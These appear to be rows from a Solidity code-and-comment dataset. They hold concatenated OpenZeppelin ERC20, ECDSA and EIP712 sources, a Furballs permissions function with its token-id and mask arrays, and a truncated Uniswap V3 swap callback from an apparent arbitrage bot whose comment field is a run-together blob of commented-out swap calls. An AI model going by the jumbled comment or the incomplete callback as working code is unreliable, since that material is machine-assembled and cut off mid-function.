require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/cryptography/ECDSA.sol)
pragma solidity ^0.8.0;
import "../Strings.sol";
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature` or error string. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*
* _Available since v4.3._
*/
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s;
uint8 v;
assembly {
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
return tryRecover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Message, created from `s`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/cryptography/draft-EIP712.sol)
pragma solidity ^0.8.0;
import "./ECDSA.sol";
/**
* @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.
*
* The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible,
* thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding
* they need in their contracts using a combination of `abi.encode` and `keccak256`.
*
* This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding
* scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA
* ({_hashTypedDataV4}).
*
* The implementation of the domain separator was designed to be as efficient as possible while still properly updating
* the chain id to protect against replay attacks on an eventual fork of the chain.
*
* NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method
* https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].
*
* _Available since v3.4._
*/
abstract contract EIP712 {
/* solhint-disable var-name-mixedcase */
// Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to
// invalidate the cached domain separator if the chain id changes.
bytes32 private immutable _CACHED_DOMAIN_SEPARATOR;
uint256 private immutable _CACHED_CHAIN_ID;
address private immutable _CACHED_THIS;
bytes32 private immutable _HASHED_NAME;
bytes32 private immutable _HASHED_VERSION;
bytes32 private immutable _TYPE_HASH;
/* solhint-enable var-name-mixedcase */
/**
* @dev Initializes the domain separator and parameter caches.
*
* The meaning of `name` and `version` is specified in
* https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:
*
* - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.
* - `version`: the current major version of the signing domain.
*
* NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart
* contract upgrade].
*/
constructor(string memory name, string memory version) {
bytes32 hashedName = keccak256(bytes(name));
bytes32 hashedVersion = keccak256(bytes(version));
bytes32 typeHash = keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
);
_HASHED_NAME = hashedName;
_HASHED_VERSION = hashedVersion;
_CACHED_CHAIN_ID = block.chainid;
_CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion);
_CACHED_THIS = address(this);
_TYPE_HASH = typeHash;
}
/**
* @dev Returns the domain separator for the current chain.
*/
function _domainSeparatorV4() internal view returns (bytes32) {
if (address(this) == _CACHED_THIS && block.chainid == _CACHED_CHAIN_ID) {
return _CACHED_DOMAIN_SEPARATOR;
} else {
return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION);
}
}
function _buildDomainSeparator(
bytes32 typeHash,
bytes32 nameHash,
bytes32 versionHash
) private view returns (bytes32) {
return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this)));
}
/**
* @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this
* function returns the hash of the fully encoded EIP712 message for this domain.
*
* This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:
*
* ```solidity
* bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(
* keccak256("Mail(address to,string contents)"),
* mailTo,
* keccak256(bytes(mailContents))
* )));
* address signer = ECDSA.recover(digest, signature);
* ```
*/
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash);
}
} | @notice Generalized permissions flag for a given address User permissions will return "zero" quickly if this didn't come from a wallet. | function _permissions(address addr) internal view returns (uint8) {
uint8 permissions = _userPermissions(addr);
if (permissions > 0) return permissions;
if (addr == address(furballs) ||
addr == address(furballs.engine()) ||
addr == address(furballs.furgreement()) ||
addr == address(furballs.governance()) ||
addr == address(furballs.fur())
) {
return FurLib.PERMISSION_CONTRACT;
}
return 0;
}
| 13,868,062 | [
1,
12580,
1235,
4371,
2982,
364,
279,
864,
1758,
2177,
4371,
903,
327,
315,
7124,
6,
23459,
309,
333,
10242,
1404,
12404,
628,
279,
9230,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
389,
9612,
12,
2867,
3091,
13,
2713,
1476,
1135,
261,
11890,
28,
13,
288,
203,
565,
2254,
28,
4371,
273,
389,
1355,
6521,
12,
4793,
1769,
203,
565,
309,
261,
9612,
405,
374,
13,
327,
4371,
31,
203,
203,
565,
309,
261,
4793,
422,
1758,
12,
74,
15850,
454,
87,
13,
747,
203,
1377,
3091,
422,
1758,
12,
74,
15850,
454,
87,
18,
8944,
10756,
747,
203,
1377,
3091,
422,
1758,
12,
74,
15850,
454,
87,
18,
74,
295,
75,
10606,
10756,
747,
203,
1377,
3091,
422,
1758,
12,
74,
15850,
454,
87,
18,
75,
1643,
82,
1359,
10756,
747,
203,
1377,
3091,
422,
1758,
12,
74,
15850,
454,
87,
18,
74,
295,
10756,
203,
565,
262,
288,
203,
1377,
327,
478,
295,
5664,
18,
23330,
67,
6067,
2849,
1268,
31,
203,
565,
289,
203,
565,
327,
374,
31,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/42/0x4384F57B1ddf81a3e400a9fE9835E494294605D4/sources/hw.sol | IUniswapV3SwapCallback4bytes selector 32bytes amount0 32bytes amount1 32bytes offset 32bytes length data_raw IUniswapV2Pair(pair2).swap(0,uint(amount1Delta),msg.sender,new bytes(0)); IUniswapV2Pair(pair2).swap(uint(amount0Delta),0,msg.sender,new bytes(0)); IUniswapV2Pair(pair2).swap(0,uint(amount1Delta)+amount2,address(this),new bytes(0)); IUniswapV2Pair(pair2).swap(uint(amount0Delta)+amount2,0,address(this),new bytes(0));4bytes selector 32bytes amount0 32bytes amount1 32bytes offset 32bytes length data_raw IUniswapV2Pair(pair2).swap(0,amount3,pair3,new bytes(0)); IUniswapV2Pair(pair2).swap(amount3,0,pair3,new bytes(0)); IUniswapV2Pair(pair3).swap(0,v3In,msg.sender,new bytes(0)); IUniswapV2Pair(pair3).swap(v3In,0,msg.sender,new bytes(0)); IUniswapV3Pool(pair2).swap(msg.sender, zeroForOne2, -int256(amount0Delta), zeroForOne2?MIN_SQRT_RATIO__ : MAX_SQRT_RATIO__, data ); IUniswapV3Pool(pair2).swap(msg.sender, zeroForOne2, -int256(amount1Delta), zeroForOne2?MIN_SQRT_RATIO__ : MAX_SQRT_RATIO__, data );4bytes selector 32bytes amount0 32bytes amount1 32bytes offset 32bytes length data_raw IUniswapV2Pair(pair3).swap(0,v3In,msg.sender,new bytes(0)); IUniswapV2Pair(pair3).swap(v3In,0,msg.sender,new bytes(0));4bytes selector 32bytes amount0 32bytes amount1 32bytes offset 32bytes length data_raw IUniswapV2Pair(pair3).swap(0,v3In,msg.sender,new bytes(0)); IUniswapV2Pair(pair3).swap(v3In,0,msg.sender,new bytes(0));4bytes selector 32bytes amount0 32bytes amount1 32bytes offset 32bytes length data_raw IUniswapV2Pair(pair2).swap(0,amount2,address(this),new bytes(0)); IUniswapV2Pair(pair2).swap(amount2,0,address(this),new bytes(0)); IUniswapV3Pool(pair3).swap(msg.sender, zeroForOne3, -amount0Delta, zeroForOne3?MIN_SQRT_RATIO__ : MAX_SQRT_RATIO__, data ); IUniswapV3Pool(pair3).swap(msg.sender, zeroForOne3, -amount1Delta, zeroForOne3?MIN_SQRT_RATIO__ : MAX_SQRT_RATIO__, data );4bytes selector 32bytes amount0 32bytes amount1 32bytes offset 32bytes length data_raw IUniswapV2Pair(pair2).swap(0,amount2,address(this),new bytes(0)); IUniswapV2Pair(pair2).swap(amount2,0,address(this),new bytes(0)); IUniswapV2Pair(pair3).swap(0,v3In,msg.sender,new bytes(0)); IUniswapV2Pair(pair3).swap(v3In,0,msg.sender,new bytes(0));4bytes selector 32bytes amount0 32bytes amount1 32bytes offset 32bytes length data_raw IUniswapV2Pair(pair2).swap(0,amount2,pair3,new bytes(0)); IUniswapV2Pair(pair2).swap(amount2,0,pair3,new bytes(0)); IUniswapV2Pair(pair3).swap(0,amount3,address(this),new bytes(0)); IUniswapV2Pair(pair3).swap(amount3,0,address(this),new bytes(0));4bytes selector 32bytes amount0 32bytes amount1 32bytes offset 32bytes length data_raw uint v3Out; if(amount0Delta>0){ v3Out=uint(-amount1Delta); } else{ v3Out=uint(-amount0Delta); }4bytes selector 32bytes amount0 32bytes amount1 32bytes offset 32bytes length data_raw require(1==2,'ss'); | function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata _data
) external override {
if( tx.origin != owner)
{
revert("");
}
assembly {
let calldata32bytes := calldataload(132)
pair2 := shr(96,calldata32bytes)
amount2:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
type2:=and(calldata32bytes,0x0f)
zeroForOne2:=and(calldata32bytes,0xf0)
}
if(type2==0){
if (zeroForOne2){
wethTransfer(pair2,uint256(-amount0Delta)-amount2);
V2Swap(pair2,0,uint(amount1Delta),msg.sender);
}
else{
wethTransfer(pair2,uint256(-amount1Delta)-amount2);
V2Swap(pair2,uint(amount0Delta),0,msg.sender);
}
}
else if(type2==1) {
if (zeroForOne2){
V2Swap(pair2,0,uint(amount1Delta)+amount2,address(this));
wethTransfer(msg.sender,uint(amount1Delta));
}
else{
V2Swap(pair2,uint(amount0Delta)+amount2,0,address(this));
wethTransfer(msg.sender,uint(amount0Delta));
}
}
else if(type2==2) {
bytes memory data = new bytes(32);
assembly{
let calldata32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,calldata32bytes)),0x03))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==3) {
wethTransfer(msg.sender,amount2);
}
else if(type2==4) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(pair2,amount2);
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==5) {
bytes memory data = new bytes(64);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x06))
mstore(add(data, 64), fourth32bytes)
}
if(amount0Delta>0){
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount0Delta),data);
}
else{
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount1Delta),data);
}
}
else if(type2==6) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==7) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x03))
let fourth32bytes := calldataload(164)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
V3Swap(pair2,pair3,zeroForOne2,int256(amount2),data);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==8) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x03))
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
if(amount0Delta>0){
V3Swap(pair3,msg.sender,zeroForOne3,-amount0Delta,data);
}
else{
V3Swap(pair3,msg.sender,zeroForOne3,-amount1Delta,data);
}
}
else if(type2==9) {
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==10) {
assembly {
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,pair3);
}
else{
V2Swap(pair2,amount2,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount3,address(this));
}
else{
V2Swap(pair3,amount3,0,address(this));
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(msg.sender,v3In);
}
else if(type2==11) {
bytes memory data = new bytes(32);
assembly {
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x02))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==12) {
address tokenIn;
address tokenOut;
uint8 type3;
assembly {
let fourth32bytes := calldataload(164)
let fifth32bytes := calldataload(196)
tokenIn:=shr(96,fourth32bytes)
tokenOut:=shr(96,fifth32bytes)
type3:=and(fourth32bytes,0x0f)
}
if(type3==0){
uint balIn;
if(amount0Delta>0){
balIn=uint(-amount1Delta);
}
else{
balIn=uint(-amount0Delta);
}
uint out =BalSwap(pair2,tokenIn,tokenOut,balIn,zeroForOne2);
wethTransfer(msg.sender,out-amount2);
}
else if(type3==1){
